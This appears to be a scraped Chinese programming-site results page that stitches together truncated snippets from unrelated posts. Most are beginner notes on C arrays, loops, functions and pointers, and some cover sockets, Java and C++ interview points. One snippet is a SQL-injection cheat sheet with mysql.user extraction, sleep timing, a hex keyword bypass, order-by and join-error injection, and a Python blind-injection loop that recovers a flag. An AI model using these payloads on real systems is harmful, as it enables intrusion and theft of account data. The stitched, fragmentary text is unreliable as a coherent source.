留一个思考题: 设计一个中继服务器,转发客户A--->客户B的请求,并缩短TCP三次握手的时长,并且要求要保证安全性和完整性 概念点总结: 使用Socket建立网络连接的步骤 建立Socket连接至少需要一对套接字
我之前发的扫雷和三子棋离不开数组的信息储存,今天我来总结下我学的数组这一章节的内容。 1....3.1 数组下标 int arr[ 10 ] = { 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 }; 在C语言中数组的访问提供了⼀个操作符 [] ,这个操作符叫...5. sizeof 计算数组元素个数 sizeof 中C语言是⼀个关键字,是可以计算类型或者变量大小的,其实 sizeof 也可以计算数组的 大小。
C语言中函数的分类 函数分为库函数和自定义函数 C语言是结构化的程序设计语言 一般有 -顺序结构 -选择结构 -循环结构 比如求和代码 中 定义了add函数 Add 执行 x+y=z 之后 返回 z结果...知识点 布尔类型 在C语言中 最开始就 char short int long longlong float double 是内置类型 在C语言最初设计中就有 但在C99中引入了布尔类型 也就是bool
我学习的第一门编程语言是Java,所以之前一直没有系统学习过C语言。这篇文章主要就是我学习过程的一个总结,方便以后复习查看。 一....C语言设计的初衷是将其作为程序员使用的一种编程工具,因此,其主要目标是成为有用的语言。 在过去40多年里,C语言已成为最重要、最流行的编程语言之一。它的成长归功于使用过的人都对它很满意。...过去20多年里,虽然许多人都从C语言转而使用其他编程语言(如,C++、Objective C、Java等),但是C语言仍凭借自身实力在众多语言中脱颖而出。...虽然这些年来C++、python和JAVA非常流行,但是C语言仍是软件业中的核心技能。在最想具备的技能中,C语言通常位居前十。特别是,C语言已成为嵌入式系统编程的流行语言。...C语言数据类型和关键字 基本数据类型 C语言的基本数据类型为:整型、字符型、实数型。
),concat_ws(' ','a','b','c') 多行拼接:group_concat //eg: select group_concat(user) from mysql.user 时延函数:sleep...select 1 from mysql.user where @a:='123' do @a:='123' 绕过(点绕过)//select,from等关键字绕过都可以使用 select 0x73656c65637420757365722066726f6d206d7973716c2e75736572...select @a,@b,@c order by排序注入 首先假设有这样一张表 ?...r=requests.get(url+payload).text print j if 'admin' in r: flag+=chr(j-1) print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1...jion列名重复报错 select * from(select a.1 from mysql.user a join mysql.user b)c ?
while()循环 do while循环中的break和continue goto语句 关机程序——goto语句 结语 ---- 前言 大家好啊,本篇博客将介绍分支循环语句部分,从0到1,如果你还是C语言的初学者...开始之前,我们先来浅说一下语言的定义:我们不妨理解为是对计算机的指令 C 语句可分为以下五类: 1. 表达式语句 2. 函数调用语句 3. 控制语句 4....这就是选择,说了这么多,其实就是在讲选择的定义,那C语言又是如何去表示的呢? if语句和swtich语句。...在C语言中,我们要用到逻辑运算符&&来表示并且,这是我们需要注意到的地方,也是初学错的地方,我们要多加注意!....== 和 =的区别 开始之前,我们先来了解一下C语言选择的真假性: 如果表达式的结果为真,则语句执行。 在 C 语言中如何表示真假? 0表示假,非0表示真。
前言 本篇博客紧接着指针总结1来总结下数组和指针的关系,让我们一起来看一下数组与指针的“爱恨情仇”。 欢迎关注个人主页:小张同学zkf 若有问题,评论区见 1....这一部分指针已总结完,下一篇指针博客见。
C语言循环的嵌套 一个循环体内又包含另一个完整的循环结构,称为循环的嵌套。内嵌的循环体中还可以嵌套循环,这就是多层循环。...C语言循环的比较 3种循环语句都可以用来处理同一问题,一般情况下它们可以相互代替。...C语言改变循环的状态 1、C语言用break语句提前终止循环 一般形式 break; 其作用是使流程跳到循环体之外,接着执行循环体下面的语句。...以上,如果你看了觉得对你有所帮助,就给小林点个赞,分享给身边的人叭,这样小林也有更新下去的动力,跪谢各位父老乡亲啦~ C语言学习路线 C语言开发工具 VC6.0、Devc++、VS2019使用教程...100道C语言案例源码请去公众号:C语言入门到精通
前言 说起C语言中令人头疼的特性,相信大多数人都首先会提指针。 指针非常强大,但也非常不容易驾驭。不知道有多少人因为指针想大声对C语言高歌一曲”爱恨就在一瞬间“。...这个系列的文章试图对指针方面常犯的错误做个梳理总结,帮助大家驯服这个C语言的野马。 指针问题本质上可以分为两类,一类是读不属于自己的内存,一类是写不属于自己的内存。
这篇介绍C语言里函数的定义、子函数的使用。接着介绍变量的作用域,定义全局变量、静态变量、只读变量、变量初始化等等。...定义一个函数 int func(int a,int b) { } (函数的形参列表,....) { 函数代码主体部分; } : 返回值类型可以是C语言支持任何类型...12.34,56.78); //形参传入之后,会转为整型 printf("a=%d\n",a); return 0; } //定义一个函数 int func(int a,int b) { int c;...c=a+b; return c; //给调用者返回结果 } 二、函数练习作业 (1)编写一个判断某一年是否是闰年的函数。...且不能整除100 或者能整除400 ) #include int func_year(int year); //声明函数 int main(void) { int year; //c89
前言 本篇博客继续总结有关指针的知识 欢迎关注个人主页:小张同学zkf 若有问题 评论区间 1....相反,3和4他们指向同一个常量字符串,C/C++会把常量字符串存储到单独的一个内存区域,当几个指针指向同一个字符串的时候,他们实际会指向同一块内存。所以3和4是一样的。 2....过去我们有一个二维数组的需要传参给一个函数的时候,我们是这样写的: #include void test(int a[3][5], int r, int c) { int i = 0...如下图: 总结:二维数组传参,形参的部分可以写成数组,也可以写成指针形式 4. 函数指针变量 4.1 函数指针变量的创建 什么是函数指针变量呢?...根据前面总结的整型指针,数组指针的时候,我们的类比关系,我们不难得出结论: 函数指针变量应该是用来存放函数地址的,未来通过地址能够调用函数的。 那么函数是否有地址呢?
内联函数定义 inline关键字是C99标准的型关键字,其作用是将函数展开,把函数的代码复制到每一个调用处。这样调用函数的过程就可以直接执行函数代码,而不发生跳转、压栈等一般性函数操作。...为什么需要内联函数 在C语言中,如果一些函数被频繁的调用,不断地用函数入栈,即函数栈,则会造成栈空间或者栈内存的大量消耗,为了解决这个问题,特别的引入了inline关键字,表示为内联函数。...宏只是做字符串替换操作,而不了解语句的含义 是否一定被展开 不一定,是否展开由编译器决定 一定,只要使用了宏就可以保证被展开 接口封装 是 否 是否支持调试 是 否 总结 内联函数相比宏函数,会进行语法检查
笔者能力有限,如果文中出现错误的地方,还请各位朋友能够给我指出来,我将不胜感激,谢谢~ 引言 编程习惯的培养需要的是一个长期的过程,需要不断地总结,积累,并且我们需要从意识上认识其重要性,一个良好的编程习惯对于我们能力的提高也是由巨大的帮助的...下面是笔者在阅读《专业嵌入式软件开发》这本书时所看到的一些关于编程好习惯的总结,特此记录和分享一下、 判断失败而非成功 下面是一段简化过后的代码片段: if (physap_alarm_init() =...屏蔽编程语言特性 数组在编程中是经常使用到的一个功能,下述是采用数组保存一个会话 ID 的一段简化代码: #define SESSION_ID_LEN_MIN 1 #define SESSION_ID_LEN_MAX...恰当地使用 goto 语句 我们在接触 C 语言编程的时候,大多都被告知不要使用 goto 语句,以至于有时候一看到 goto 语句就觉得程序写的很垃圾,但真实情况是什么样呢,在编程的时候 goto 语句并没有被禁用
笔者能力有限,如果文中出现错误的地方,还请各位朋友能够给我指出来,我将不胜感激,谢谢~ 引言 编程习惯的培养需要的是一个长期的过程,需要不断地总结,积累,并且我们需要从意识上认识其重要性,一个良好的编程习惯对于我们能力的提高也是有巨大的帮助的...下面是笔者在阅读《专业嵌入式软件开发》这本书时所看到的一些关于编程好习惯的总结,特此记录和分享一下、 判断失败而非成功 下面是一段简化过后的代码片段: if (physap_alarm_init() =...屏蔽编程语言特性 数组在编程中是经常使用到的一个功能,下述是采用数组保存一个会话 ID 的一段简化代码: #define SESSION_ID_LEN_MIN 1 #define SESSION_ID_LEN_MAX...恰当地使用 goto 语句 我们在接触 C 语言编程的时候,大多都被告知不要使用 goto 语句,以至于有时候一看到 goto 语句就觉得程序写的很垃圾,但真实情况是什么样呢,在编程的时候 goto 语句并没有被禁用
C语言指针的总结 1. 变量 不同类型的变量在内存中占据不同的字节空间。 内存中存储数据的最小基本单位是字节,每一个字节都有一个内存地址,这个地址是一个十六进制的数。...指针 指针是C语言的灵魂。指针变量占据8个字节。 变量在内存中的存储。 变量的值:存储在变量中的数据,叫做变量的值。 变量的地址:组成这个变量的低字节的地址,就是这个变量的地址。
最 好的安排是在某个相关的 .c 文件中定义, 然后在头文件 (.h) 中进行外部声明, 在需 要使用的时候, 只要包含对应的头文件即可。...定义变量的 .c 文件也应该包含该头 文件, 以便编译器检查定义和声明的一致性。这条规则提供了高度的可移植性: 它和 ANSI C 标准一致, 同时也兼容大多 数 ANSI 前的编译器和连接器。...Unix 编译器和连接器通常使用 “通用模式” 允许 多重定义, 只要保证最多对一处进行初始化就可以了; ANSI C 标准称这种行为为 “公共扩展”, 没有语带双关的意思。...特 别是, 永远不要把外部函数的原型放到 .c 文件中: 通常它与定义的一致性不能得 到检查, 而矛盾的原型比不用还糟糕。 有时候,正是那些意想不到之人,成就了无人能成之事。 ——图灵
C语言中给地址起了新的名字叫:指针。...指针变量和地址 2.1 取地址操作符(&) 理解了内存和地址的关系,我们再回到C语言,在C语言中创建变量其实就是向内存申请空间 #include int main() { int a...C语言中其实也是一样的,我们只要拿到了地址(指针),就可以通过地址(指针)找到地址(指针)指向的对象,这里必须学习一个操作符叫解引用操作符(*)。...NULL 是C语言中定义的⼀个标识符常量,值是0,0也是地址,这个地址是无法使用的,读写该地址会报错。...指针第一部分总结完,有什么问题各位大佬多评论
在C语言中,stdin stdout stderror 三个标准输入输入,stdou输出到屏幕有缓冲,stderror 输出的屏幕没有缓冲。这三个标准输入输出相当于三个设备文件,可以读写。...%d",a,b,c,d) 等同strok(); 此时a=192 b=168 c=1 d=102 scanf将标准输入的字符串,格式化后,送到变量中
= null) { sum += seg.modCount; int c = seg.count;...if (c < 0 || (size += c) < 0) overflow = true; }..., String> cache = new LRUCache(); cache.put(1, "a"); cache.put(2, "b"); cache.put(3, "c"
这是一篇 C 语言与 C++面试知识点总结的文章。...限定的函数或变量是 extern 类型的 被 extern "C" 修饰的变量和函数是按照 C 语言方式编译和链接的 extern "C" 的作用是让 C++ 编译器将 extern "C" 声明的代码当作...C 语言代码处理,可以避免 C++ 因符号修饰导致代码不能和C语言库中的符号进行链接的问题。...C++ 中 由于编译器定位符号的规则(搜索规则)改变,导致不同于C语言。 1.如果在类标识符空间定义了 struct Student {...}...unique_ptr 用于取代 auto_ptr auto_ptr 被 c++11 弃用,原因是缺乏语言特性如 “针对构造和赋值” 的 std::move 语义,以及其他瑕疵。
领取专属 10元无门槛券
手把手带您无忧上云